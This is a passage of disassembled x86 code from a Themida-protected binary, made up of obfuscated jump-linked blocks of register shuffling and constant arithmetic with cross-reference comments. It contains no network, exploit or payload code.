jmp loc_55DB9F
; ---------------------------------------------------------------------------
loc_56182D: ; CODE XREF: Themida_:005528CAj
pop esp
shl ebp, 4
shr ebp, 6
or ebp, 19F10FCCh
push 5E6Dh
mov [esp], edx
mov edx, 6CED6FF8h
and ebp, edx
pop edx
jmp loc_556653
; ---------------------------------------------------------------------------
loc_56184F: ; CODE XREF: Themida_:005526CDj
pop ebp
sub ebx, 4E7E18C0h
jmp loc_5573B5
; ---------------------------------------------------------------------------
loc_56185B: ; CODE XREF: Themida_:0055CD2Cj
add bl, 0F5h
push eax
mov ah, 0FDh
dec ah
xor ah, 0DFh
add bl, ah
mov eax, [esp]
add esp, 4
add bl, al
push ecx
push eax
jmp loc_552EA0
; ---------------------------------------------------------------------------
loc_561877: ; CODE XREF: Themida_:0055C516j
pop ecx
add eax, ebp
sub eax, 59991B92h
mov ebp, [esp]
add esp, 4
push ebp
mov ebp, 6BDE5BBBh
sub eax, ebp
pop ebp
jmp loc_55ECAD
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_564032
; ---------------------------------------------------------------------------
loc_56189F: ; CODE XREF: Themida_:005514E7j
push ecx
jmp loc_5615D8
; ---------------------------------------------------------------------------
loc_5618A5: ; CODE XREF: Themida_:0055E9BFj
mov esi, 45E535F6h
jmp loc_5634E0
; ---------------------------------------------------------------------------
loc_5618AF: ; CODE XREF: Themida_:0055A78Bj
pop esp
jmp loc_559714
; ---------------------------------------------------------------------------
loc_5618B5: ; CODE XREF: Themida_:005548A8j
push ecx
not dword ptr [esp]
mov ecx, [esp]
add esp, 4
sub ecx, 906FF85Ah
add ebx, 68450ACEh
push esi
mov esi, 39491F90h
jmp loc_55AFD7
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_565899
; ---------------------------------------------------------------------------
loc_5618DF: ; CODE XREF: Themida_:0055750Cj
push ebx
jmp loc_560ADF
; ---------------------------------------------------------------------------
loc_5618E5: ; CODE XREF: Themida_:005567D1j
sub ecx, esi
pop esi
add ecx, ebx
add ecx, 1A5847B2h
jmp loc_5570A1
; ---------------------------------------------------------------------------
loc_5618F5: ; CODE XREF: Themida_:00560AA8j
pop ax
xor cl, 0EAh
sub al, 0D7h
sub al, cl
add al, 0D7h
jmp loc_5508D1
; ---------------------------------------------------------------------------
loc_561905: ; CODE XREF: Themida_:00554A36j
inc edi
shr edi, 7
neg edi
add edi, 531Fh
add edx, edi
jmp loc_5547DB
; ---------------------------------------------------------------------------
loc_561918: ; CODE XREF: Themida_:00555752j
push ebx
jmp loc_5547CF
; ---------------------------------------------------------------------------
loc_56191E: ; CODE XREF: Themida_:0055CA91j
pop ebp
jmp loc_551BB7
; ---------------------------------------------------------------------------
loc_561924: ; CODE XREF: Themida_:0055B315j
add esp, 4
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xor ebp, [esp]
jmp loc_5577B5
; ---------------------------------------------------------------------------
loc_56193E: ; CODE XREF: Themida_:00563593j
pop edx
jmp loc_550420
; ---------------------------------------------------------------------------
loc_561944: ; CODE XREF: Themida_:00565828j
add esp, 4
push 2D45h
jmp loc_556591
; ---------------------------------------------------------------------------
loc_561951: ; CODE XREF: Themida_:00558CF1j
mov esp, [esp]
jmp loc_556B3A
; ---------------------------------------------------------------------------
loc_561959: ; CODE XREF: Themida_:00552C0Fj
shr ebp, 4
add ebp, 340124E4h
inc ebp
push eax
mov eax, 341AF206h
xor ebp, eax
pop eax
add esi, ebp
pop ebp
xchg esi, [esp]
pop esp
sub edx, 132E5E69h
add edx, edi
add edx, 132E5E69h
push dword ptr [edx]
jmp loc_55E843
; ---------------------------------------------------------------------------
loc_561988: ; CODE XREF: Themida_:0055979Fj
and esi, 66C2468Eh
and esi, 5FF518CDh
shl esi, 5
xor esi, 42763B69h
push ecx
mov ecx, 77750B7Bh
push 0
sub [esp], ecx
pop ecx
jmp loc_55340D
; ---------------------------------------------------------------------------
loc_5619B1: ; CODE XREF: Themida_:0055743Bj
xchg ebp, [esp]
pop esp
push 2D52h
mov [esp], edx
mov edx, esp
jmp loc_562CB9
; ---------------------------------------------------------------------------
loc_5619C4: ; CODE XREF: Themida_:0055EA80j
and ecx, 37C84ED4h
sub ecx, 6084240h
add edi, ecx
jmp loc_551809
; ---------------------------------------------------------------------------
loc_5619D7: ; CODE XREF: Themida_:005583FFj
mov ebx, 4
add ebp, ebx
pop ebx
push edi
mov edi, esp
add edi, 4
sub edi, 4
jmp loc_5594C8
; ---------------------------------------------------------------------------
mov cx, [esp]
push ebp
jmp loc_559067
; ---------------------------------------------------------------------------
loc_5619FD: ; CODE XREF: Themida_:0055999Fj
pop ebp
sub eax, 1F9867EDh
add eax, ebx
add eax, 1F9867EDh
pop ebx
xchg eax, [esp]
pop esp
mov dx, [esp]
push eax
mov eax, esp
sub esp, 4
jmp loc_551273
; ---------------------------------------------------------------------------
loc_561A1E: ; CODE XREF: Themida_:00564177j
jz loc_55266F
push dword ptr [edi+1Ch]
jmp loc_564459
; ---------------------------------------------------------------------------
loc_561A2C: ; CODE XREF: Themida_:00552967j
push ebx
push ebp
mov ebp, 0AD94D29h
neg ebp
push eax
mov eax, 77CE6214h
add ebp, eax
pop eax
mov ebx, ebp
pop ebp
or ebx, 486223FCh
jmp loc_55EA19
; ---------------------------------------------------------------------------
loc_561A4C: ; CODE XREF: Themida_:00553FA8j
mov eax, ebp
pop ebp
jmp loc_557D6C
; ---------------------------------------------------------------------------
loc_561A54: ; CODE XREF: Themida_:0055F7D3j
push 92Fh
mov [esp], edx
push esi
jmp loc_559369
; ---------------------------------------------------------------------------
loc_561A62: ; CODE XREF: Themida_:0055DD30j
xchg ebp, edi
xor edi, 0F73A0764h
sub ebx, edi
pop edi
add ebp, ebx
pop ebx
jmp loc_562FFB
; ---------------------------------------------------------------------------
loc_561A75: ; CODE XREF: Themida_:0055A66Fj
mov eax, esp
jmp loc_5510EF
; ---------------------------------------------------------------------------
loc_561A7C: ; CODE XREF: Themida_:0055C75Dj
sub ebx, eax
jmp loc_551EEF
; ---------------------------------------------------------------------------
loc_561A83: ; CODE XREF: Themida_:0055CB0Bj
sub eax, 221762AAh
push ecx
push esi
mov esi, 7DA81BDBh
mov ecx, esi
pop esi
add eax, ecx
pop ecx
mov edi, [esp]
add esp, 4
jmp loc_55A097
; ---------------------------------------------------------------------------
loc_561AA0: ; CODE XREF: Themida_:00555030j
add ebp, edi
pop edi
push eax
mov eax, 7C6D7E66h
and eax, 23CC24B6h
add eax, 0DFB3DBDEh
jmp loc_550B4B
; ---------------------------------------------------------------------------
loc_561AB8: ; CODE XREF: Themida_:0055A98Ej
add esp, 4
push dword ptr [edi+eax*4]
push edi
mov edi, esp
push ebp
mov ebp, 715B7ACFh
dec ebp
sub ebp, 4D840591h
not ebp
jmp loc_563203
; ---------------------------------------------------------------------------
loc_561AD5: ; CODE XREF: Themida_:00555C95j
add edx, 28C615A4h
neg edx
shl edx, 5
jmp loc_556B1A
; ---------------------------------------------------------------------------
loc_561AE5: ; CODE XREF: Themida_:0055FDCFj
push dword ptr [esp]
pop eax
jmp loc_56457A
; ---------------------------------------------------------------------------
loc_561AEE: ; CODE XREF: Themida_:0055EDB1j
mov ecx, esi
pop esi
jmp loc_563004
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
push 1B7Dh
mov [esp], edi
push esp
mov edi, [esp]
add esp, 4
jmp loc_55BB39
; ---------------------------------------------------------------------------
loc_561B16: ; CODE XREF: Themida_:0055A32Fj
pop esi
shr esi, 7
shr esi, 1
inc esi
jmp loc_55FA7D
; ---------------------------------------------------------------------------
loc_561B22: ; CODE XREF: Themida_:0055F88Fj
push 373h
jmp loc_560121
; ---------------------------------------------------------------------------
loc_561B2C: ; CODE XREF: Themida_:0055CFA5j
mov edi, 533855F8h
jmp loc_562748
; ---------------------------------------------------------------------------
loc_561B36: ; CODE XREF: Themida_:0055A258j
push esp
pop eax
add eax, 4
jmp loc_5589FD
; ---------------------------------------------------------------------------
loc_561B42: ; CODE XREF: Themida_:005638BAj
xor ebp, 0C37649h
mov ebx, ebp
jmp loc_55160E
; ---------------------------------------------------------------------------
push edx
push eax
jmp loc_551E11
; ---------------------------------------------------------------------------
loc_561B56: ; CODE XREF: Themida_:00550679j
mov esp, [esp]
loc_561B59: ; CODE XREF: Themida_:00560F58j
sub esp, 4
mov [esp], ecx
jmp loc_553AF6
; ---------------------------------------------------------------------------
loc_561B64: ; CODE XREF: Themida_:00559D3Aj
add esi, 2
push edx
mov edx, esp
push ecx
mov ecx, 41027766h
shl ecx, 7
xor ecx, 813BB304h
add edx, ecx
push dword ptr [esp]
jmp loc_56592E
; ---------------------------------------------------------------------------
loc_561B86: ; CODE XREF: Themida_:0055D13Cj
sub esi, ebx
add esi, 5C9E1B2Ah
add esi, 143D37ADh
push dword ptr [esp]
jmp loc_55151C
; ---------------------------------------------------------------------------
loc_561B9C: ; CODE XREF: Themida_:00564A9Dj
add [esp+4], ebx
add dword ptr [esp+4], 371A77CCh
mov ebx, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
push dword ptr [esp]
pop eax
add esp, 4
push edx
mov edx, 640162E6h
jmp loc_558C6A
; ---------------------------------------------------------------------------
loc_561BD0: ; CODE XREF: Themida_:0055BB3Fj
mov [esp], esi
mov esi, 36745064h
neg esi
and esi, 4EBD4784h
xor esi, 2CB466E9h
add esi, 0FFFFFFFFh
xor esi, 3A9B0D2Fh
jmp loc_55BE01
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], esi
push esp
pop esi
jmp loc_5653CB
; ---------------------------------------------------------------------------
loc_561C08: ; CODE XREF: Themida_:00560A0Aj
xor [esp], eax
xor eax, [esp]
jmp loc_560598
; ---------------------------------------------------------------------------
loc_561C13: ; CODE XREF: Themida_:00564222j
add ebx, 4
xchg ebx, [esp]
pop esp
push 32AAh
mov [esp], edx
mov edx, 4
push ecx
mov ecx, 72B74BF0h
add ebp, ecx
pop ecx
add ebp, edx
sub ebp, 72B74BF0h
pop edx
push ebx
jmp loc_55D903
; ---------------------------------------------------------------------------
loc_561C3F: ; CODE XREF: Themida_:00565101j
push small 58B1h
pop bx
push edx
mov dx, 4171h
sub dx, 48Fh
add dx, 1899h
and dx, 6D5Ah
shr dx, 6
sub dx, 9B81h
jmp loc_5522FF
; ---------------------------------------------------------------------------
loc_561C67: ; CODE XREF: Themida_:005584B0j
pop ebx
mov edi, 4DA76630h
xor edi, ebp
pop ebp
xor edi, 440D4287h
jmp loc_5629C3
; ---------------------------------------------------------------------------
loc_561C7B: ; CODE XREF: Themida_:00563AB2j
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
sub eax, 165A0101h
sub eax, ebx
add eax, 165A0101h
add eax, 58272D4Ch
jmp loc_55BE90
; ---------------------------------------------------------------------------
loc_561C9B: ; CODE XREF: Themida_:005616F4j
add eax, 4
add eax, 4
xchg eax, [esp]
jmp loc_55AE01
; ---------------------------------------------------------------------------
loc_561CAD: ; CODE XREF: Themida_:0055A0AEj
mov ebp, 4
jmp loc_55342C
; ---------------------------------------------------------------------------
loc_561CB7: ; CODE XREF: Themida_:0055CF5Aj
mov ebp, esi
pop esi
add ebx, 508A2E37h
sub ebx, ebp
sub ebx, 508A2E37h
jmp loc_565945
; ---------------------------------------------------------------------------
loc_561CCD: ; CODE XREF: Themida_:0055814Fj
mov edx, esi
pop esi
push esi
mov esi, 5605FBD9h
add edx, esi
pop esi
add edi, edx
pop edx
sub esi, 16F015BBh
sub esi, 49DA35BBh
push ebx
jmp loc_565C94
; ---------------------------------------------------------------------------
lodsb
xor al, bl
sub esp, 2
mov [esp], cx
push edx
mov dl, 1
mov cl, dl
pop edx
push small 2D56h
jmp loc_561F80
; ---------------------------------------------------------------------------
loc_561D07: ; CODE XREF: Themida_:005644BDj
mov esp, [esp]
and ah, 0CCh
jmp loc_558A5E
; ---------------------------------------------------------------------------
loc_561D12: ; CODE XREF: Themida_:0055D36Bj
mov [esp], edx
mov dl, 8Fh
add bl, dl
pop edx
add dl, bl
jmp loc_55AAA9
; ---------------------------------------------------------------------------
loc_561D21: ; CODE XREF: Themida_:00558C65j
add ebp, 78787672h
push eax
jmp loc_558B64
; ---------------------------------------------------------------------------
loc_561D2D: ; CODE XREF: Themida_:0055767Aj
mov ebx, ecx
jmp loc_562B28
; ---------------------------------------------------------------------------
loc_561D34: ; CODE XREF: Themida_:00559201j
xor edi, 20E937D2h
add esi, edi
pop edi
shl esi, 1
not esi
xor esi, 31180F15h
push esi
inc dword ptr [esp]
pop esi
jmp loc_562249
; ---------------------------------------------------------------------------
loc_561D51: ; CODE XREF: Themida_:005601D3j
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_564FC2
; ---------------------------------------------------------------------------
loc_561D61: ; CODE XREF: Themida_:00561111j
add esp, 4
sub esp, 4
mov [esp], eax
mov eax, 15A00537h
jmp loc_56317E
; ---------------------------------------------------------------------------
loc_561D77: ; CODE XREF: Themida_:0055B5BAj
mov edx, [esp]
push esi
mov esi, esp
jmp loc_5632A2
; ---------------------------------------------------------------------------
loc_561D82: ; CODE XREF: Themida_:0055CE8Dj
dec edi
add edi, 21EF619Dh
and edi, 196E2E86h
add edi, 6FFEEDC1h
sub eax, edi
mov edi, [esp]
jmp loc_56541B
; ---------------------------------------------------------------------------
loc_561D9F: ; CODE XREF: Themida_:005603E6j
add esp, 4
sub esp, 4
jmp loc_55F3BE
; ---------------------------------------------------------------------------
loc_561DAA: ; CODE XREF: Themida_:0055D172j
pop eax
jmp loc_55F020
; ---------------------------------------------------------------------------
loc_561DB0: ; CODE XREF: Themida_:0055609Aj
mov ebx, 4E1230F1h
jmp loc_55B533
; ---------------------------------------------------------------------------
loc_561DBA: ; CODE XREF: Themida_:005590B6j
sub esi, edi
mov edi, [esp]
jmp loc_55D112
; ---------------------------------------------------------------------------
loc_561DC4: ; CODE XREF: Themida_:005656B2j
pop edi
jmp loc_554838
; ---------------------------------------------------------------------------
loc_561DCA: ; CODE XREF: Themida_:0056136Fj
xor ebx, 0C4DB4EBFh
add eax, 340B355Dh
add eax, ebx
sub eax, 340B355Dh
jmp loc_55209C
; ---------------------------------------------------------------------------
loc_561DE1: ; CODE XREF: Themida_:00559D11j
xchg edx, [esp]
pop ecx
xor eax, ecx
xor ecx, eax
xor eax, ecx
push esi
mov esi, esp
sub esp, 4
mov [esp], ebp
jmp loc_564DFF
; ---------------------------------------------------------------------------
loc_561DF9: ; CODE XREF: Themida_:00553786j
pop eax
sub ecx, ebx
sub ecx, 1D6D7C7Bh
mov ebx, [esp]
jmp loc_552B7E
; ---------------------------------------------------------------------------
loc_561E0A: ; CODE XREF: Themida_:0055C997j
sub edx, ecx
push dword ptr [esp]
jmp loc_560D90
; ---------------------------------------------------------------------------
loc_561E14: ; CODE XREF: Themida_:0055900Aj
mov [esp], edi
mov edi, esp
push edx
mov edx, 4
push ecx
mov ecx, 48BC7CD8h
sub edi, ecx
pop ecx
add edi, edx
add edi, 48BC7CD8h
pop edx
push ecx
mov ecx, 4
push ecx
mov ecx, 55B9Eh
add edi, ecx
pop ecx
add edi, ecx
push 2299h
mov [esp], edx
mov edx, 655749D8h
shr edx, 8
sub edx, 256565DDh
sub edx, 0DAFA95CEh
sub edi, edx
pop edx
push dword ptr [esp]
pop ecx
add esp, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
jmp loc_557040
; ---------------------------------------------------------------------------
loc_561E76: ; CODE XREF: Themida_:005656DEj
mov eax, esp
jmp loc_560658
; ---------------------------------------------------------------------------
loc_561E7D: ; CODE XREF: Themida_:00555D63j
add ebx, ebp
mov ebp, [esp]
jmp loc_557020
; ---------------------------------------------------------------------------
loc_561E87: ; CODE XREF: Themida_:005596B0j
sub esi, 381A1A6Ah
push edi
push ebp
jmp loc_5605CC
; ---------------------------------------------------------------------------
loc_561E94: ; CODE XREF: Themida_:00550EE8j
xor [esp], esi
xor esi, [esp]
jmp loc_55C5C7
; ---------------------------------------------------------------------------
loc_561E9F: ; CODE XREF: Themida_:00563A71j
shr dl, 8
not dl
jmp loc_562333
; ---------------------------------------------------------------------------
loc_561EA9: ; CODE XREF: Themida_:005552A3j
mov ebp, 2EB94660h
or ebp, 164A0E4Eh
and ebp, 1E1250EAh
neg ebp
and ebp, 1BEB232Bh
xor ebp, 3AAE53B6h
sub ebp, 17DEF90Ah
sub edi, ebp
pop ebp
add ecx, edi
jmp loc_555DDA
; ---------------------------------------------------------------------------
loc_561ED8: ; CODE XREF: Themida_:0055FCFBj
mov edi, 0BE95D63h
add edi, 4D421B75h
sub esp, 4
mov [esp], ecx
mov ecx, 1B7753F0h
jmp loc_55D954
; ---------------------------------------------------------------------------
loc_561EF6: ; CODE XREF: Themida_:005529FAj
mov ebp, [esp]
jmp loc_564EA5
; ---------------------------------------------------------------------------
loc_561EFE: ; CODE XREF: Themida_:0056406Aj
mov ecx, [esp]
add esp, 4
push dword ptr [esp]
pop esi
add esp, 4
add edi, 4
xchg edi, [esp]
pop esp
shr eax, 0Bh
jmp loc_552264
; ---------------------------------------------------------------------------
loc_561F20: ; CODE XREF: Themida_:00555321j
mov esi, 26F0161Ah
xor esi, edi
pop edi
xor esi, 39802F39h
dec esi
xor esi, 7C0960B7h
add edi, esi
jmp loc_550F8A
; ---------------------------------------------------------------------------
loc_561F3C: ; CODE XREF: Themida_:005615C5j
pop ecx
push 3524h
mov [esp], eax
push esi
push 39F655ECh
pop esi
add esi, 4D181B62h
add esi, 0FFFFFFFFh
jmp loc_55B39E
; ---------------------------------------------------------------------------
loc_561F5D: ; CODE XREF: Themida_:00554AF0j
push esi
mov edi, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
pop esi
and ebx, edi
push dword ptr [esp]
mov edi, [esp]
push ecx
jmp loc_554656
; ---------------------------------------------------------------------------
loc_561F80: ; CODE XREF: Themida_:00561D02j
mov [esp], dx
jmp loc_563D9A
; ---------------------------------------------------------------------------
loc_561F89: ; CODE XREF: Themida_:00558808j
mov cl, 3Ah
sub cl, 0B2h
sub al, cl
pop ecx
jmp loc_55C249
; ---------------------------------------------------------------------------
loc_561F96: ; CODE XREF: Themida_:0055EA6Cj
add edi, 1
add edi, 76A23265h
push ebx
push ecx
mov ecx, 776B4378h
push ebp
mov ebp, 0A212A39h
mov ebx, ebp
mov ebp, [esp]
add esp, 4
xor ebx, ecx
jmp loc_563ED6
; ---------------------------------------------------------------------------
loc_561FC1: ; CODE XREF: Themida_:005563E5j
mov ebp, esi
push eax
mov eax, ebp
mov edi, eax
jmp loc_55AE5E
; ---------------------------------------------------------------------------
loc_561FCD: ; CODE XREF: Themida_:0055D6F1j
xor esi, edx
xchg esi, edx
jmp loc_5506D8
; ---------------------------------------------------------------------------
loc_561FD6: ; CODE XREF: Themida_:0055865Ej
sub edx, ebx
add edx, 503B6DC5h
push dword ptr [esp]
jmp loc_55941F
; ---------------------------------------------------------------------------
mov cx, [esp]
push edi
push 164Bh
mov [esp], esp
sub esp, 4
mov [esp], edx
push edi
mov edi, 4
mov edx, edi
pop edi
jmp loc_556AF4
; ---------------------------------------------------------------------------
loc_56200A: ; CODE XREF: Themida_:00565574j
add eax, esi
add eax, 4C247E1h
mov esi, [esp]
push ebx
push esp
pop ebx
add ebx, 4
jmp loc_564A0F
; ---------------------------------------------------------------------------
loc_562022: ; CODE XREF: Themida_:005544FEj
mov [esp], edi
push esp
pop edi
jmp loc_5575DE
; ---------------------------------------------------------------------------
loc_56202C: ; CODE XREF: Themida_:00559034j
mov esp, [esp]
mov [esp], esp
add dword ptr [esp], 4
jmp loc_555DBA
; ---------------------------------------------------------------------------
loc_56203B: ; CODE XREF: Themida_:0055C1DCj
add edx, 4
xchg edx, [esp]
pop esp
add esp, 4
add edx, ebx
jmp loc_55B740
; ---------------------------------------------------------------------------
loc_56204F: ; CODE XREF: Themida_:005595C3j
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
push ebp
sub esp, 4
jmp loc_5613E7
; ---------------------------------------------------------------------------
loc_562065: ; CODE XREF: Themida_:0055BFA8j
add esp, 2
jmp loc_55B28B
; ---------------------------------------------------------------------------
loc_562070: ; CODE XREF: Themida_:00555B4Aj
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], ecx
jmp loc_55AFCC
; ---------------------------------------------------------------------------
loc_56208A: ; CODE XREF: Themida_:0055F5D5j
add esp, 4
jmp loc_55B15C
; ---------------------------------------------------------------------------
loc_562095: ; CODE XREF: Themida_:0055E6A8j
add ebp, edx
sub ebp, 3AFD160Dh
pop edx
push edi
push 7D6A3ACCh
pop edi
not edi
add edi, 0CB8F6E13h
sub ebp, edi
pop edi
add esi, ebp
jmp loc_55200C
; ---------------------------------------------------------------------------
loc_5620B7: ; CODE XREF: Themida_:0055491Cj
sub esp, 4
jmp loc_55A93B
; ---------------------------------------------------------------------------
loc_5620C2: ; CODE XREF: Themida_:0055224Cj
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
push esp
pop dword ptr [esp]
jmp loc_55FF6A
; ---------------------------------------------------------------------------
loc_5620DB: ; CODE XREF: Themida_:00558B91j
pop edx
mov esi, [esp]
jmp loc_552598
; ---------------------------------------------------------------------------
loc_5620E4: ; CODE XREF: Themida_:00553B7Aj
mov ah, 37h
sub dl, ah
pop eax
sub al, dl
jmp loc_55916B
; ---------------------------------------------------------------------------
loc_5620F0: ; CODE XREF: Themida_:0055CC3Fj
or esi, 71836617h
add esi, 0DB7CE540h
jmp loc_56039B
; ---------------------------------------------------------------------------
loc_562101: ; CODE XREF: Themida_:0055BE5Aj
add eax, 4
add eax, 2
xchg eax, [esp]
pop esp
sub al, bl
jmp loc_558E07
; ---------------------------------------------------------------------------
loc_562116: ; CODE XREF: Themida_:00552C86j
mov esp, [esp]
shr eax, 0Ah
xor eax, ecx
push 71B4h
mov [esp], eax
not dword ptr [esp]
jmp loc_55FD58
; ---------------------------------------------------------------------------
loc_56212E: ; CODE XREF: Themida_:00550564j
xchg ebp, [esp]
pop esp
push edx
mov edx, 5D8D63DDh
shr edx, 2
shl edx, 3
jmp loc_55EF5B
; ---------------------------------------------------------------------------
loc_562143: ; CODE XREF: Themida_:0055F5F5j
shr ecx, 5
xor ecx, 66832C1Ah
neg ecx
sub ecx, 3D1FB1EEh
xor ebp, ecx
jmp loc_55E68D
; ---------------------------------------------------------------------------
loc_56215B: ; CODE XREF: Themida_:00557A69j
add esi, edi
jmp loc_55E606
; ---------------------------------------------------------------------------
loc_562162: ; CODE XREF: Themida_:0055DBB3j
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
jmp loc_55E9E5
; ---------------------------------------------------------------------------
loc_562175: ; CODE XREF: Themida_:0056056Aj
push edi
mov edi, 1
mov ecx, edi
pop edi
sub edx, ecx
pop ecx
jmp loc_5505F1
; ---------------------------------------------------------------------------
loc_562186: ; CODE XREF: Themida_:00560E6Bj
push dword ptr [esp]
jmp loc_55E8DD
; ---------------------------------------------------------------------------
loc_56218E: ; CODE XREF: Themida_:00556160j
push 1038h
mov [esp], eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
pop esp
push esp
pop dword ptr [esp]
sub esp, 4
mov [esp], ebp
push esi
push ecx
jmp loc_56493C
; ---------------------------------------------------------------------------
mov cx, [esp]
push 1190h
mov [esp], ebp
push 1619h
mov [esp], esp
push ebx
mov ebx, 4
add dword ptr [esp+4], 6B631C51h
jmp loc_55073A
; ---------------------------------------------------------------------------
loc_5621DA: ; CODE XREF: Themida_:00552044j
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
add esi, 4
jmp loc_562905
; ---------------------------------------------------------------------------
loc_5621F5: ; CODE XREF: Themida_:00559FBAj
pop ebx
sub edx, 119C62BCh
add edx, 7747527Ch
sub edx, ebx
push ecx
mov ecx, 7747527Ch
sub edx, ecx
pop ecx
add edx, 119C62BCh
pop ebx
add edx, edi
add edx, 3F406E85h
mov edi, [esp]
add esp, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
jmp loc_551E33
; ---------------------------------------------------------------------------
loc_562234: ; CODE XREF: Themida_:0055E86Aj
sub dword ptr [esp], 344D76B3h
jmp loc_553ED0
; ---------------------------------------------------------------------------
loc_562240: ; CODE XREF: Themida_:0055B399j
mov edi, [esp]
push ebp
jmp loc_551E3C
; ---------------------------------------------------------------------------
loc_562249: ; CODE XREF: Themida_:00561D4Cj
sub esi, 24C6C00Ah
add ebx, esi
mov esi, [esp]
add esp, 4
jmp loc_555259
; ---------------------------------------------------------------------------
loc_56225C: ; CODE XREF: Themida_:005659C6j
pop esp
mov [esp], ebx
mov ebx, 6FD967F5h
push ebp
mov ebp, 0E83104Dh
shl ebp, 4
neg ebp
xchg ebx, ebp
neg ebx
xchg ebx, ebp
shl ebp, 7
sub ebp, 0C24328E3h
or ebx, ebp
pop ebp
push ebp
push edi
push 47D0019Fh
pop edi
sub edi, 0C81E99DEh
mov ebp, edi
pop edi
sub ebx, ebp
jmp loc_562D5B
; ---------------------------------------------------------------------------
loc_56229A: ; CODE XREF: Themida_:00551E9Ej
add ebp, 8BF3020h
jmp loc_564E90
; ---------------------------------------------------------------------------
loc_5622A5: ; CODE XREF: Themida_:0055472Ej
xchg ecx, ebp
jmp loc_55B05B
; ---------------------------------------------------------------------------
loc_5622AC: ; CODE XREF: Themida_:0055F9CFj
or eax, eax
jmp loc_553BE7
; ---------------------------------------------------------------------------
loc_5622B3: ; CODE XREF: Themida_:005530A1j
mov ebx, esp
add ebx, 4
sub ebx, 4
jmp loc_55BBC7
; ---------------------------------------------------------------------------
loc_5622C6: ; CODE XREF: Themida_:00552887j
push ebp
push 5A3C7AECh
jmp loc_559F0F
; ---------------------------------------------------------------------------
loc_5622D1: ; CODE XREF: Themida_:00553354j
push ebx
pop eax
pop ebx
xor edi, eax
mov eax, [esp]
push edi
mov edi, esp
jmp loc_55E9F6
; ---------------------------------------------------------------------------
loc_5622E1: ; CODE XREF: Themida_:00560DF5j
sub bl, dh
pop dx
or ch, bl
pop ebx
neg ch
and ch, 6Fh
inc ch
jmp loc_55B109
; ---------------------------------------------------------------------------
loc_5622F4: ; CODE XREF: Themida_:0055DF52j
mov edi, 6AAF788Ah
add ebx, edi
pop edi
add eax, ebx
jmp loc_555B6E
; ---------------------------------------------------------------------------
loc_562303: ; CODE XREF: Themida_:00554926j
add eax, 379F4D84h
add eax, esi
sub eax, 379F4D84h
pop esi
xchg eax, [esp]
mov esp, [esp]
push 24CCh
mov [esp], esi
push esp
pop esi
sub esp, 4
mov [esp], ebx
mov ebx, 4
add esi, ebx
pop ebx
jmp loc_550ED5
; ---------------------------------------------------------------------------
loc_562333: ; CODE XREF: Themida_:00561EA4j
xor dl, 0E9h
and bl, dl
pop edx
neg bl
push 5D4Ah
mov [esp], eax
jmp loc_55E4B3
; ---------------------------------------------------------------------------
loc_562348: ; CODE XREF: Themida_:0055B183j
add al, dl
pop edx
mov edx, [esp]
push 7E3Ah
mov [esp], edi
mov edi, esp
add edi, 4
push ebx
mov ebx, 4
add edi, ebx
mov ebx, [esp]
add esp, 4
jmp loc_55E497
; ---------------------------------------------------------------------------
loc_562371: ; CODE XREF: Themida_:00563036j
add edi, 41652ED1h
jmp loc_558458
; ---------------------------------------------------------------------------
loc_56237C: ; CODE XREF: Themida_:005610D4j
add dword ptr [esp+4], 36541276h
jmp loc_55219A
; ---------------------------------------------------------------------------
loc_562389: ; CODE XREF: Themida_:00560444j
sub esp, 4
mov [esp], edx
mov dl, al
mov ch, dl
pop edx
jmp loc_561346
; ---------------------------------------------------------------------------
loc_562399: ; CODE XREF: Themida_:0055F391j
mov [esp], edx
push 537h
mov [esp], esp
push edi
push 4
pop edi
add [esp+4], edi
pop edi
mov edx, [esp]
add esp, 4
push ecx
mov ecx, 4
push edi
mov edi, 3DA25CF3h
shl edi, 4
jmp loc_55ADE9
; ---------------------------------------------------------------------------
loc_5623CA: ; CODE XREF: Themida_:0055A65Aj
mov ebx, 4
add eax, ebx
pop ebx
xchg eax, [esp]
pop esp
push edi
push esp
jmp loc_556B9A
; ---------------------------------------------------------------------------
loc_5623DD: ; CODE XREF: Themida_:00559F91j
sub esp, 4
mov [esp], ebp
mov ebp, 51DA49C0h
xor ebp, 5D05691Ah
sub ebp, 3E7C7D34h
not ebp
xor ebp, 319D5C5Bh
jmp loc_56467B
; ---------------------------------------------------------------------------
loc_562404: ; CODE XREF: Themida_:00557985j
neg eax
xor eax, 0D7B69BF9h
or edx, eax
pop eax
jmp loc_558E50
; ---------------------------------------------------------------------------
loc_562413: ; CODE XREF: Themida_:0055A072j
add edi, esi
pop esi
jmp loc_553151
; ---------------------------------------------------------------------------
loc_56241B: ; CODE XREF: Themida_:0056010Cj
add edx, 0F4188617h
add eax, edx
jmp loc_557A6E
; ---------------------------------------------------------------------------
loc_562428: ; CODE XREF: Themida_:00558D75j
not esi
jmp loc_550760
; ---------------------------------------------------------------------------
loc_56242F: ; CODE XREF: Themida_:00553301j
mov [esp], eax
push edx
mov edx, 80h
mov eax, edx
pop edx
push 16BDh
mov [esp], ebp
mov ebp, eax
mov esi, ebp
jmp loc_55918C
; ---------------------------------------------------------------------------
loc_56244C: ; CODE XREF: Themida_:0055B98Cj
mov [esp], ebx
mov ebx, 7168175Ch
shr ebx, 7
add ebx, 36C95332h
neg ebx
not ebx
jmp loc_55EBCE
; ---------------------------------------------------------------------------
loc_562466: ; CODE XREF: Themida_:00553DC1j
pop ecx
inc al
mov dh, al
mov eax, [esp]
add esp, 4
jmp loc_559DB0
